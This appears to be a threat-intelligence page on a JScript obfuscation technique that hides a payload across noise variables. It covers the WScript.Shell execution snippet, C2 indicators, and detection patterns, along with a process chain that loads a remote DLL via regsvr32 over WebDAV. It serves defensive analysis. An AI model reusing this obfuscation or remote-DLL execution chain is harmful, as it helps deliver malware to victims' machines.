JS Noise-Variable Concatenation Obfuscation

JScript obfuscation technique where random-length noise variable names (15–20 lowercase characters, no semantic content) are assigned single-character string values, then concatenated via + operators inside nested Function('return this')() constructors to assemble and execute a hidden payload. No dictionary lookup table, no object literal, no key-value indirection — direct variable-to-character mapping with runtime concatenation.

How It Works

1. Variable assignment phase: 64–65 sequential var noise_name="char"; statements assign single-character values to variables with random names like uwmfaqiovmqpb, ebwzphlhah, etc.
2. Concatenation phase: The payload string is built by chaining these variables with + operators: var1+var2+var3+...
3. Execution phase: Two nested Function() constructor calls:
   • Outer: Function("return this")()["eval"](inner_string) — executes inner string in global scope
   • Inner: Function("return this")()["WScript"]["CreateObject"]("WScript.Shell")["run"](command,0,false) — spawns the payload via WScript.Shell in a hidden window

Why It Evades Static Detection

• No meaningful character sequence appears in the source file — every character of the payload is split across 65 separate variable assignments
• No dictionary object literal (unlike [js-dictionary-char-lookup-obfuscation](/intel/techniques/js-dictionary-char-lookup-obfuscation.html) variants), so signature engines targeting var obj={key:value,...} patterns miss it
• The Function('return this')() pattern is less common than direct eval() or WScript.Shell references, evading naive string-based YARA rules
• Single-line file with no line terminators (65,536 characters) may cause some parsers to truncate or skip

Variants Observed

• fa8c6d74 (65th sibling, unclassified-js-webdav-dropper): 64 entries, C2 94.159.113.204:8888, payload 18500214332387.dll ^[/intel/analyses/fa8c6d74d03b4daf1f858056b743e9a5ffe23edcb6d4c2e3cf287511eefa7fcf.html]
• ddf0c8bd (80th sibling, unclassified-js-webdav-dropper): 65 entries, C2 94.159.113.204:8888, payload 32135222519755.dll, adds timeout 1 anti-emulation gate ^[/intel/analyses/ddf0c8bd001c9f8e38eea6cbc966323da45a7e99179fb638cb7a739d36569ee5.html]
• 771c8752 (90th sibling, unclassified-js-webdav-dropper): 65 variables, 192 assignments (last-wins + concatenation hybrid), C2 94.159.113.204:8888, payload 52442320412503.dll, adds timeout 1 and davww7root typo ^[/intel/analyses/771c875207b6a0094f83d53e923fbc56b4577c99cc7caf92ac675455ffd15e8d.html]

Detection

Static

• YARA: Look for function + Function("return this") + multiple var [a-z]{15,20}="."; patterns in close proximity
• Entropy: The single-line JScript with 65,000+ characters has low Shannon entropy (~4.2) because of repeated assignment patterns, but high structural complexity

Behavioral

• Process tree: wscript.exe → powershell.exe -EncodedCommand → net use → regsvr32 /s \\host@port\DavWWWRoot\*.dll
• Network: HTTP/PROPFIND to WebDAV endpoint on port 8888, followed by DLL download

Related

• js-dictionary-char-lookup-obfuscation — Prior dialect in same family using object literal lookup tables
• jscript-sequential-variable-reassignment-eval — Alternative no-dictionary dialect using sequential var reassignments and eval()
• unclassified-js-webdav-dropper — Family entity page
• function-return-this-global-construction — Underlying Function('return this')() technique